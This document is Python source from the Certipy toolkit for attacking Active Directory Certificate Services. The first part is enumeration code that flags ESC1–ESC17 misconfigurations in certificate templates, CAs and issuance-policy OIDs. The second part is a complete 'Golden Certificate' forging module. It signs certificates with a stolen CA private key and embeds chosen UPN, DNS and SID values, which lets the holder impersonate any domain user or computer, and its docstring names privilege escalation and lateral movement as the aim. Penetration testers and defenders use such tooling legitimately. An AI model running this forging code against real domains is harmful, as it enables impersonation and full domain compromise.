principal_list, f"Write Property {extended_right}", ) ) # Add all rights to permissions for _, principal_list, name in rights_mapping: if principal_list: object_control_permissions[name] = principal_list # Add object control permissions if object_control_permissions: permissions["Object Control Permissions"] = object_control_permissions return permissions def get_ca_permissions(self, ca: LDAPEntry) -> Dict[str, Any]: """ Extract CA permissions for output. Args: ca: Certificate authority Returns: Dictionary of CA permissions """ security = ca.get("security") if security is None: return {} ca_permissions = {} access_rights = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): ca_permissions["Owner"] = self.connection.lookup_sid(security.owner).get( "name" ) # Process ACEs for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get principal name principal_name = self.connection.lookup_sid(sid).get("name") # Get list of rights ca_rights = rights["rights"].to_list() # Add each right to the access rights dictionary for ca_right in ca_rights: if ca_right not in access_rights: access_rights[ca_right] = [principal_name] else: access_rights[ca_right].append(principal_name) # Add access rights if access_rights: ca_permissions["Access Rights"] = access_rights return ca_permissions def get_oid_permissions(self, oid: LDAPEntry) -> Dict[str, Any]: """ Extract OID permissions for output. Args: oid: Issuance policy object Returns: Dictionary of OID permissions """ nt_security_descriptor = oid.get("nTSecurityDescriptor") if nt_security_descriptor is None: return {} security = IssuancePolicySecurity(nt_security_descriptor) oid_permissions = {} access_rights = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): oid_permissions["Owner"] = self.connection.lookup_sid(security.owner).get( "name" ) # Process ACEs for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get principal name principal_name = self.connection.lookup_sid(sid).get("name") # Get list of rights oid_rights = rights["rights"].to_list() # Add each right to the access rights dictionary for oid_right in oid_rights: if oid_right not in access_rights: access_rights[oid_right] = [principal_name] else: access_rights[oid_right].append(principal_name) # Add access rights if access_rights: oid_permissions["Access Rights"] = access_rights return oid_permissions # ========================================================================= # Vulnerability Detection Methods # ========================================================================= def get_template_vulnerabilities( self, template: LDAPEntry ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]: """ Detect vulnerabilities in certificate templates. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC1: Client authentication template with enrollee-supplied subject - ESC2: Template that allows any purpose - ESC3: Template with Certificate Request Agent EKU or vulnerable configuration - ESC4: Template with dangerous permissions or owned by current user - ESC9: Template with no security extension - ESC13: Template linked to a group through issuance policy - ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019) - ESC17: Server authentication template with enrollee-supplied subject Args: template: Certificate template to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals """ # Return cached vulnerabilities if already processed if template.get("vulnerabilities"): return template.get("vulnerabilities") vulnerabilities = {} remarks = {} enrollable_principals = [] acl_principals = [] user_can_enroll, enrollable_sids = self.can_user_enroll_in_template(template) is_enabled = template.get("enabled", False) # Skip enrollment-based vulnerability checks if user can't enroll or # if template requires approval or signatures requires_approval = ( template.get("requires_manager_approval") or template.get("authorized_signatures_required", 0) > 0 ) if is_enabled and user_can_enroll: enrollable_principals = self.format_principals(enrollable_sids) if not requires_approval: # ESC1: Client authentication with enrollee-supplied subject if template.get("enrollee_supplies_subject") and template.get( "client_authentication" ): vulnerabilities["ESC1"] = ( f"Enrollee supplies subject " "and template allows client authentication." ) # ESC2: Any purpose template if template.get("any_purpose"): vulnerabilities["ESC2"] = f"Template can be used for any purpose." # ESC3: Certificate Request Agent if template.get("enrollment_agent"): vulnerabilities["ESC3"] = ( f"Template has Certificate Request Agent EKU set." ) # ESC9: No security extension if template.get("no_security_extension") and template.get( "client_authentication" ): vulnerabilities["ESC9"] = f"Template has no security extension." remarks["ESC9"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) # ESC13: Template with issuance policy linked to a group if ( template.get("client_authentication") and template.get("msPKI-Certificate-Policy") and template.get("issuance_policies_linked_groups") ): groups = template.get("issuance_policies_linked_groups") if not isinstance(groups, list): groups = [groups] if len(groups) == 1: vulnerabilities["ESC13"] = ( f"Template allows client authentication " f"and issuance policy is linked to group {groups[0]!r}." ) else: vulnerabilities["ESC13"] = ( f"Template allows client authentication " f"and issuance policy is linked to groups {groups!r}." ) # ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019) if ( template.get("enrollee_supplies_subject") and template.get("schema_version") == 1 ): vulnerabilities["ESC15"] = ( f"Enrollee supplies subject and " "schema version is 1." ) remarks["ESC15"] = ( f"Only applicable if the environment has not been patched. " "See CVE-2024-49019 or the wiki for more details." ) # ESC17: Server authentication with enrollee-supplied subject if template.get("enrollee_supplies_subject") and template.get( "server_authentication" ): vulnerabilities["ESC17"] = ( f"Enrollee supplies subject " "and template allows server authentication." ) remarks["ESC17"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) # ESC2 Target: Schema v1 or requires Any Purpose signature if template.get("client_authentication") and ( template.get("schema_version") == 1 or ( template.get("schema_version") > 1 and template.get("authorized_signatures_required") > 0 and template.get("application_policies") is not None and "Any Purpose" in template.get("application_policies") ) ): reason = "has schema version 1" if template.get("schema_version") != 1: reason = ( "requires a signature with the Any Purpose application policy" ) remarks["ESC2 Target Template"] = ( "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability " f"by itself. See the wiki for more details. Template {reason}." ) # ESC3 Target: Schema v1 or requires Certificate Request Agent signature if template.get("client_authentication") and ( template.get("schema_version") == 1 or ( template.get("schema_version") > 1 and template.get("authorized_signatures_required") > 0 and template.get("application_policies") is not None and "Certificate Request Agent" in template.get("application_policies") ) ): reason = "has schema version 1" if template.get("schema_version") != 1: reason = "requires a signature with the Certificate Request Agent application policy" remarks["ESC3 Target Template"] = ( "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability " f"by itself. See the wiki for more details. Template {reason}." ) # ESC4: Template ownership or vulnerable ACL security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check if user owns the template if security.owner in user_sids: owner_name = self.connection.lookup_sid(security.owner).get("name") acl_principals = [owner_name] vulnerabilities["ESC4"] = f"Template is owned by user." else: # Check for vulnerable permissions if not already owner has_vulnerable_acl, vulnerable_acl_sids = self.template_has_vulnerable_acl( template ) acl_principals = self.format_principals(vulnerable_acl_sids) if has_vulnerable_acl: vulnerabilities["ESC4"] = "User has dangerous permissions." return (vulnerabilities, remarks, enrollable_principals, acl_principals) def template_has_vulnerable_acl( self, template: LDAPEntry ) -> Tuple[bool, List[str]]: """ Check if the template has vulnerable permissions for the current user. Args: template: Certificate template to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) vulnerable_acl_sids = [] has_vulnerable_acl = False # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] ad_extended_rights = rights["extended_rights"] # Check for dangerous permissions dangerous_rights = [ CertificateRights.GENERIC_ALL, CertificateRights.WRITE_OWNER, CertificateRights.WRITE_DACL, CertificateRights.GENERIC_WRITE, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True continue # WRITE_PROPERTY is only dangerous if you can write the entire object if ( CertificateRights.WRITE_PROPERTY in ad_rights and "00000000-0000-0000-0000-000000000000" in ad_extended_rights and ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs def can_user_enroll_in_template( self, template: LDAPEntry ) -> Tuple[bool, List[str]]: """ Check if the current user can enroll in the template. Args: template: Certificate template to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids) """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) enrollable_sids = [] user_can_enroll = False # Check ACEs for enrollment rights per MS-CRTD rules for sid, rights in security.aces.items(): if sid not in user_sids: continue # Rule 1: ACCESS_ALLOWED_OBJECT_ACE with control access and ObjectType == Enroll GUID has_object_enroll = ( EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) # Preserve behavior: All-Extended-Rights also implies enrollment has_all_extended = ( EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] in rights["extended_rights"] and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) # Rule 2: ACCESS_ALLOWED_ACE with control access bit set (0x00000100) # Captured by security parser as 'has_standard_control_access' has_standard_control_access = rights.get( "has_standard_control_access", False ) if ( has_object_enroll or has_all_extended or has_standard_control_access or (CertificateRights.GENERIC_ALL in rights["rights"]) ): enrollable_sids.append(sid) user_can_enroll = True return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs def get_ca_vulnerabilities( self, ca: LDAPEntry ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]: """ Detect vulnerabilities in certificate authorities. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC6: CA allows user-specified SAN and auto-issues certificates - ESC7: CA with dangerous permissions - ESC8: Insecure web enrollment - ESC11: Unencrypted certificate requests Args: ca: Certificate authority to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals """ # Return cached vulnerabilities if already processed if ca.get("vulnerabilities"): return ca.get("vulnerabilities") vulnerabilities = {} remarks = {} acl_principals = [] request_disposition = ca.get("request_disposition") will_issue = request_disposition in ["Issue", "Unknown"] user_can_enroll, enrollable_sids = self.can_user_enroll_in_ca(ca) enrollable_principals = self.format_principals(enrollable_sids) # ESC6: User-specified SAN with auto-issuance if ca.get("user_specified_san") == "Enabled" and will_issue and user_can_enroll: vulnerabilities["ESC6"] = "Enrollee can specify SAN." remarks["ESC6"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) policy = ca.get("active_policy") if ( policy and policy != "CertificateAuthority_MicrosoftDefault.Policy" and policy != "Unknown" ): remarks["Policy"] = "Not using the built-in Microsoft default policy." # ESC7: CA with dangerous permissions has_vulnerable_acl, vulnerable_acl_sids = self.ca_has_vulnerable_acl(ca) if has_vulnerable_acl: acl_principals = self.format_principals(vulnerable_acl_sids) vulnerabilities["ESC7"] = f"User has dangerous permissions." # ESC8: Insecure web enrollment web_enrollment = ca.get("web_enrollment") if web_enrollment and will_issue: http_enabled = ( web_enrollment["http"] is not None and web_enrollment["http"]["enabled"] and web_enrollment["http"]["enabled"] != "Unknown" ) https_enabled = ( web_enrollment["https"] is not None and web_enrollment["https"]["enabled"] and web_enrollment["https"]["enabled"] != "Unknown" ) channel_binding_enforced = ( web_enrollment["https"] is not None and web_enrollment["https"]["channel_binding"] ) # Determine vulnerability based on protocol and channel binding if http_enabled and https_enabled and not channel_binding_enforced: vulnerabilities["ESC8"] = ( f"Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled." ) elif http_enabled: vulnerabilities["ESC8"] = f"Web Enrollment is enabled over HTTP." elif https_enabled and not channel_binding_enforced: vulnerabilities["ESC8"] = ( f"Web Enrollment is enabled over HTTPS and Channel Binding is disabled." ) elif https_enabled and channel_binding_enforced == "Unknown": remarks["ESC8"] = ( "Channel Binding couldn't be verified for HTTPS Web Enrollment. " "For manual verification, request a certificate via HTTPS with Channel Binding disabled " "and observe if the request succeeds or is rejected." ) # ESC11: Unencrypted certificate requests if ca.get("enforce_encrypt_icertrequest") == "Disabled" and will_issue: vulnerabilities["ESC11"] = ( "Encryption is not enforced for ICPR (RPC) requests." ) # ESC16: Security extension disabled (similar to ESC9) disabled_extensions = ca.get("disabled_extensions") if disabled_extensions and will_issue and user_can_enroll: if "1.3.6.1.4.1.311.25.2" in disabled_extensions: vulnerabilities["ESC16"] = "Security Extension is disabled." remarks["ESC16"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) return (vulnerabilities, remarks, enrollable_principals, acl_principals) def ca_has_vulnerable_acl(self, ca: LDAPEntry) -> Tuple[bool, List[str]]: """ Check if the CA has vulnerable permissions for the current user. Args: ca: Certificate authority to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ has_vulnerable_acl = False vulnerable_acl_sids = [] security = ca.get("security") if security is None: return has_vulnerable_acl, vulnerable_acl_sids user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] # Check for dangerous CA permissions dangerous_rights = [ CertificateAuthorityRights.MANAGE_CA, CertificateAuthorityRights.MANAGE_CERTIFICATES, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs def can_user_enroll_in_ca(self, ca: LDAPEntry) -> Tuple[Optional[bool], List[str]]: """ Check if the current user can enroll in the CA. Args: ca: CA to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids) """ security = ca.get("security") if security is None: return None, [] user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) enrollable_sids = [] user_can_enroll = False # Process ACEs for sid, rights in security.aces.items(): if sid not in user_sids: continue if CertificateAuthorityRights.ENROLL in rights["rights"]: enrollable_sids.append(sid) user_can_enroll = True return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs def get_oid_vulnerabilities( self, oid: LDAPEntry ) -> Tuple[Dict[str, str], List[str]]: """ Detect vulnerabilities in issuance policy OIDs. This method checks for Enterprise Security Configuration (ESC) vulnerabilities: - ESC13: OID with dangerous permissions or owned by current user Args: oid: Issuance policy OID to analyze Returns: Tuple of detected vulnerabilities and ACL principals """ # Return cached vulnerabilities if already processed if oid.get("vulnerabilities"): return oid.get("vulnerabilities") vulnerabilities = {} acl_principals = [] # ESC13: OID ownership or vulnerable ACL security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check if user owns the OID if security.owner in user_sids: owner_name = self.connection.lookup_sid(security.owner).get("name") acl_principals = [owner_name] vulnerabilities["ESC13"] = f"Issuance Policy OID is owned by user." else: # Check for vulnerable permissions if not already owner has_vulnerable_acl, vulnerable_acl_sids = self.oid_has_vulnerable_acl(oid) if has_vulnerable_acl: acl_principals = self.format_principals(vulnerable_acl_sids) vulnerabilities["ESC13"] = f"User has dangerous permissions." return (vulnerabilities, acl_principals) def oid_has_vulnerable_acl(self, oid: LDAPEntry) -> Tuple[bool, List[str]]: """ Check if the OID has vulnerable permissions for the current user. Args: oid: Issuance policy OID to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) vulnerable_acl_sids = [] has_vulnerable_acl = False # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] # Check for dangerous OID permissions dangerous_rights = [ IssuancePolicyRights.GENERIC_ALL, IssuancePolicyRights.WRITE_OWNER, IssuancePolicyRights.WRITE_DACL, IssuancePolicyRights.WRITE_PROPERTY, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs def format_principals(self, sids: List[str]) -> List[str]: """ Format a list of SIDs into a human-readable string. Args: sids: List of SIDs to format Returns: List of principal names """ return [self.connection.lookup_sid(sid).get("name") for sid in sids] def entry(options: argparse.Namespace) -> None: """ Entry point for the 'find' command. Args: options: Command-line arguments """ target = Target.from_options(options, dc_as_target=True) options.__delattr__("target") find = Find(target=target, **vars(options)) find.find() Certipy-5.1.0/certipy/commands/forge.py000077500000000000000000000621271521657466500201240ustar00rootroot00000000000000""" Certificate Forgery (aka Golden Certificates) Module for Certipy. This module allows forging certificates by signing them with a compromised CA private key. It supports several features: - Creating certificates with custom subject alternative names (UPN, DNS) - Including SID extensions for domain authentication - Using existing certificates as templates - Customizing certificate validity periods and serial numbers - Adding CRL distribution points This is useful for privilege escalation and lateral movement scenarios where a CA certificate and private key have been compromised. """ import argparse import datetime from pathlib import Path from typing import List, Optional, Tuple, Union, cast from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.types import ( CertificateIssuerPrivateKeyTypes, CertificateIssuerPublicKeyTypes, PrivateKeyTypes, ) from pyasn1.codec.der import encoder from certipy.lib.certificate import ( APPLICATION_POLICIES, NTDS_CA_SECURITY_EXT, OID_NTDS_OBJECTSID, PRINCIPAL_NAME, SAN_URL_PREFIX, SMIME_CAPABILITIES, SMIME_MAP, UTF8String, asn1x509, cert_id_to_parts, create_pfx, generate_rsa_key, get_subject_from_str, load_pfx, x509, ) from certipy.lib.constants import OID_TO_STR_NAME_MAP from certipy.lib.errors import handle_error from certipy.lib.files import try_to_save_file from certipy.lib.logger import logging # List of secure hash algorithms AllowedSignatureAlgorithms = Union[ hashes.SHA224, hashes.SHA256, hashes.SHA384, hashes.SHA512, hashes.SHA3_224, hashes.SHA3_256, hashes.SHA3_384, hashes.SHA3_512, ] class Forge: """ Certificate forgery class for creating and signing custom certificates. This class provides functionality to forge certificates by signing them with a compromised CA private key, allowing creation of certificates with custom properties that can be used for authentication in Active Directory environments. """ def __init__( self, ca_pfx: Optional[str] = None, ca_password: Optional[str] = None, upn: Optional[str] = None, dns: Optional[str] = None, sid: Optional[str] = None, subject: Optional[str] = None, template: Optional[str] = None, application_policies: Optional[List[str]] = None, smime: Optional[str] = None, issuer: Optional[str] = None, crl: Optional[str] = None, serial: Optional[str] = None, key_size: int = 2048, validity_period: int = 365, out: Optional[str] = None, pfx_password: Optional[str] = None, **kwargs, # type: ignore ): """ Initialize the certificate forgery parameters. Args: ca_pfx: Path to the CA certificate/private key in PFX format ca_password: Password for the CA PFX file upn: User Principal Name for the certificate (e.g., user@domain.com) dns: DNS name for the certificate (e.g., computer.domain.com) sid: Security Identifier to include in the certificate subject: Subject name (in DN format) for the certificate template: Path to an existing certificate to use as a template application_policies: List of application policy OIDs smime: SMIME capability identifier issuer: Issuer name (in DN format) for the certificate crl: URI for the CRL distribution point serial: Custom serial number (in hex format, colons optional) key_size: RSA key size in bits for new certificates validity_period: Validity period in days for new certificates out: Output file path for the forged certificate pfx_password: Password for the PFX file kwargs: Additional arguments (not used) """ self.ca_pfx = ca_pfx self.ca_password = ca_password.encode() if ca_password else None self.alt_upn = upn self.alt_dns = dns self.alt_sid = sid self.subject = subject self.template = template self.issuer = issuer self.crl = crl self.serial = serial self.key_size = key_size self.validity_period = validity_period self.out = out self.pfx_password = pfx_password self.kwargs = kwargs # Convert application policy names to OIDs self.application_policies = [ OID_TO_STR_NAME_MAP.get(policy.lower(), policy) for policy in (application_policies or []) ] self.smime = smime def get_serial_number(self) -> int: """ Get the certificate serial number. Returns: Integer representation of the serial number """ if self.serial is None: return x509.random_serial_number() # Clean up colons if present and convert hex to int return int(self.serial.replace(":", ""), 16) def get_crl( self, crl: Optional[str] = None ) -> Optional[x509.CRLDistributionPoints]: """ Create a CRL distribution point extension. Args: crl: URI of the CRL distribution point (defaults to self.crl) Returns: CRL distribution points extension or None if no CRL specified """ if crl is None: crl = self.crl if not crl: return None return x509.CRLDistributionPoints( [ x509.DistributionPoint( full_name=[x509.UniformResourceIdentifier(crl)], relative_name=None, reasons=None, crl_issuer=None, ) ] ) def load_ca_certificate_and_key( self, ) -> Tuple[CertificateIssuerPrivateKeyTypes, x509.Certificate]: """ Load the CA certificate and private key from the PFX file. Returns: Tuple of (CA private key, CA certificate) Raises: ValueError: If CA PFX file is not specified FileNotFoundError: If CA PFX file does not exist Exception: If loading the CA certificate or private key fails """ if not self.ca_pfx: raise ValueError("CA PFX file is required") ca_pfx_path = Path(self.ca_pfx) if not ca_pfx_path.exists(): raise FileNotFoundError(f"CA PFX file not found: {self.ca_pfx}") with open(ca_pfx_path, "rb") as f: ca_pfx_data = f.read() ca_key, ca_cert = load_pfx(ca_pfx_data, self.ca_password) if ca_cert is None: raise Exception("Failed to load CA certificate") if ca_key is None: raise Exception("Failed to load CA private key") # Verify we have the correct types ca_private_key = cast(CertificateIssuerPrivateKeyTypes, ca_key) return ca_private_key, ca_cert def create_subject_alternative_names( self, ) -> List[Union[x509.DNSName, x509.OtherName]]: """ Create subject alternative names for the certificate. Returns: List of subject alternative name entries """ sans = [] # Add DNS name if specified if self.alt_dns: dns_name = self.alt_dns if isinstance(dns_name, bytes): dns_name = dns_name.decode() sans.append(x509.DNSName(dns_name)) # Add UPN if specified if self.alt_upn: upn_value = self.alt_upn.encode() # Encode as UTF8String for UPN encoded_upn = encoder.encode(UTF8String(upn_value)) sans.append(x509.OtherName(PRINCIPAL_NAME, encoded_upn)) # Add SID if specified if self.alt_sid: sid = self.alt_sid if isinstance(sid, bytes): sid = sid.decode() sid = f"{SAN_URL_PREFIX}{sid}" sans.append(x509.UniformResourceIdentifier(sid)) return sans def create_sid_extension(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the SID for the certificate. Returns: UnrecognizedExtension containing the SID or None if no SID specified """ if not self.alt_sid: return None sid_value = self.alt_sid.encode() # Create ASN.1 structure for SID extension sid_extension = asn1x509.GeneralNames( [ asn1x509.GeneralName( { "other_name": asn1x509.AnotherName( { "type_id": OID_NTDS_OBJECTSID, "value": asn1x509.OctetString(sid_value).retag( {"explicit": 0} ), } ) } ) ] ) return x509.UnrecognizedExtension(NTDS_CA_SECURITY_EXT, sid_extension.dump()) def create_application_policies(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the application policies for the certificate. Returns: UnrecognizedExtension containing the application policies or None if not specified """ if not self.application_policies: return None # Convert each policy OID string to PolicyIdentifier application_policy_oids = [ asn1x509.PolicyInformation( {"policy_identifier": asn1x509.PolicyIdentifier(ap)} ) for ap in self.application_policies ] # Create certificate policies extension cert_policies = asn1x509.CertificatePolicies(application_policy_oids) return x509.UnrecognizedExtension(APPLICATION_POLICIES, cert_policies.dump()) def create_smime_extension(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the S/MIME capability for the certificate. Returns: UnrecognizedExtension containing the S/MIME capability or None if not specified """ if not self.smime: return None # Create S/MIME capability extension smime_capability = SMIME_MAP[self.smime] return x509.UnrecognizedExtension( SMIME_CAPABILITIES, asn1x509.ObjectIdentifier(smime_capability).dump() ) def get_allowed_hash_algorithm( self, template_hash_algorithm: Optional[hashes.HashAlgorithm] ) -> AllowedSignatureAlgorithms: """ Get an appropriate hash algorithm for certificate signing. Args: template_hash_algorithm: Hash algorithm from template certificate Returns: Hash algorithm instance to use for signing """ # Default to SHA-256 if no algorithm specified if template_hash_algorithm is None: return hashes.SHA256() # Get the algorithm class (not instance) alg_class = template_hash_algorithm.__class__ # Check if algorithm is in the allowed list if alg_class in AllowedSignatureAlgorithms.__args__: return cast(AllowedSignatureAlgorithms, template_hash_algorithm) # Fall back to SHA-256 if not allowed logging.warning( f"Hash algorithm {alg_class.__name__} is not allowed. Using SHA256." ) return hashes.SHA256() def build_from_template( self, ca_private_key: CertificateIssuerPrivateKeyTypes, ca_public_key: CertificateIssuerPublicKeyTypes, ca_cert: x509.Certificate, ) -> Tuple[PrivateKeyTypes, bytes]: """ Build a certificate using an existing certificate as a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data) Raises: Exception: If loading the template fails """ if not self.template: raise ValueError("Template path is required") # Load template certificate with open(self.template, "rb") as f: template_pfx = f.read() key, template_cert = load_pfx(template_pfx) if key is None: raise Exception("Failed to load template private key") if template_cert is None: raise Exception("Failed to load template certificate") # Determine subject name subject = self.subject if subject is None: subject = template_cert.subject else: subject = get_subject_from_str(subject) # Determine serial number serial_number = ( self.get_serial_number() if self.serial else template_cert.serial_number ) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) # Set issuer name if self.issuer: cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer)) else: cert_builder = cert_builder.issuer_name(ca_cert.subject) # Set public key, serial number, and validity period cert_builder = cert_builder.public_key(template_cert.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(template_cert.not_valid_before_utc) cert_builder = cert_builder.not_valid_after(template_cert.not_valid_after_utc) # Add authority key identifier cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key), False, ) # List of extensions to skip from the template skip_extensions = [ x509.AuthorityKeyIdentifier.oid, x509.SubjectAlternativeName.oid, x509.ExtendedKeyUsage.oid, NTDS_CA_SECURITY_EXT, ] # Add CRL distribution point if specified crl_extension = self.get_crl() if crl_extension: skip_extensions.append(x509.CRLDistributionPoints.oid) cert_builder = cert_builder.add_extension(crl_extension, False) # Add S/MIME capability if specified smime_extension = self.create_smime_extension() if smime_extension: skip_extensions.append(SMIME_CAPABILITIES) cert_builder = cert_builder.add_extension(smime_extension, False) # Add application policies if specified application_policies_extension = self.create_application_policies() if application_policies_extension: skip_extensions.append(APPLICATION_POLICIES) cert_builder = cert_builder.add_extension( application_policies_extension, False ) # Copy remaining extensions from template extensions = template_cert.extensions for extension in extensions: if extension.oid in skip_extensions: continue cert_builder = cert_builder.add_extension( extension.value, extension.critical ) # Add subject alternative names sans = self.create_subject_alternative_names() if sans: cert_builder = cert_builder.add_extension( x509.SubjectAlternativeName(sans), False, ) # Add SID extension if specified sid_extension = self.create_sid_extension() if sid_extension: cert_builder = cert_builder.add_extension( sid_extension, False, ) # Get appropriate hash algorithm signature_hash_alg = self.get_allowed_hash_algorithm( template_cert.signature_hash_algorithm ) # Sign the certificate certificate = cert_builder.sign(ca_private_key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) return key, pfx_data def build_new_certificate( self, ca_private_key: CertificateIssuerPrivateKeyTypes, ca_public_key: CertificateIssuerPublicKeyTypes, ca_cert: x509.Certificate, ) -> Tuple[rsa.RSAPrivateKey, bytes]: """ Build a new certificate without a template. Args: ca_private_key: CA private key ca_public_key: CA public key ca_cert: CA certificate Returns: Tuple of (certificate private key, PFX data) """ # Generate new key pair key = generate_rsa_key(self.key_size) # Determine identification type and value if self.alt_upn: id_type, id_value = "UPN", self.alt_upn else: id_type, id_value = "DNS Host Name", self.alt_dns # Determine subject name subject = self.subject if subject is None: subject = get_subject_from_str( f"CN={cert_id_to_parts([(id_type, id_value)])[0]}" ) else: subject = get_subject_from_str(subject) # Determine serial number serial_number = self.get_serial_number() # Calculate validity period not_valid_before = datetime.datetime.now( datetime.timezone.utc ) - datetime.timedelta(days=1) not_valid_after = datetime.datetime.now( datetime.timezone.utc ) + datetime.timedelta(days=self.validity_period) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) # Set issuer name if self.issuer: cert_builder = cert_builder.issuer_name(get_subject_from_str(self.issuer)) else: cert_builder = cert_builder.issuer_name(ca_cert.subject) # Set public key, serial number, and validity period cert_builder = cert_builder.public_key(key.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(not_valid_before) cert_builder = cert_builder.not_valid_after(not_valid_after) # Add key identifiers cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_public_key), False, ) cert_builder = cert_builder.add_extension( x509.SubjectKeyIdentifier.from_public_key(key.public_key()), False, ) # Add CRL distribution point if specified crl_extension = self.get_crl() if crl_extension: cert_builder = cert_builder.add_extension(crl_extension, False) # Add S/MIME capability if specified smime_extension = self.create_smime_extension() if smime_extension: cert_builder = cert_builder.add_extension(smime_extension, False) # Add application policies if specified application_policies_extension = self.create_application_policies() if application_policies_extension: cert_builder = cert_builder.add_extension( application_policies_extension, False ) # Add subject alternative names sans = self.create_subject_alternative_names() if sans: cert_builder = cert_builder.add_extension( x509.SubjectAlternativeName(sans), False, ) # Add SID extension if specified sid_extension = self.create_sid_extension() if sid_extension: cert_builder = cert_builder.add_extension( sid_extension, False, ) # Get appropriate hash algorithm (default to same as CA cert) signature_hash_alg = self.get_allowed_hash_algorithm( ca_cert.signature_hash_algorithm ) # Sign the certificate certificate = cert_builder.sign(ca_private_key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) return key, pfx_data def determine_output_filename(self, id_type: str, id_value: Optional[str]) -> str: """ Determine the output filename for the forged certificate. Args: id_type: Identification type (UPN, DNS) id_value: Identification value Returns: Output filename """ # Use specified output filename if provided if self.out: return self.out # Try to generate filename from certificate ID name, _ = cert_id_to_parts([(id_type, id_value)]) if not name: logging.warning( "Failed to generate output filename from certificate ID. Using current timestamp." ) name = datetime.datetime.now().strftime("%Y%m%d%H%M%S") # Clean up and format filename return f"{name.rstrip('$').lower()}_forged.pfx" def forge(self) -> None: """ Forge a certificate with the specified parameters. This is the main method that performs the certificate forgery process. Raises: ValueError: If required parameters are missing Exception: If certificate forgery fails """ # Load CA certificate and private key ca_private_key, ca_cert = self.load_ca_certificate_and_key() ca_public_key = ca_private_key.public_key() # Determine identification type and value for filename if self.alt_upn: id_type, id_value = "UPN", self.alt_upn else: id_type, id_value = "DNS Host Name", self.alt_dns # Build certificate (from template or new) if self.template: _, pfx = self.build_from_template(ca_private_key, ca_public_key, ca_cert) else: _, pfx = self.build_new_certificate(ca_private_key, ca_public_key, ca_cert) 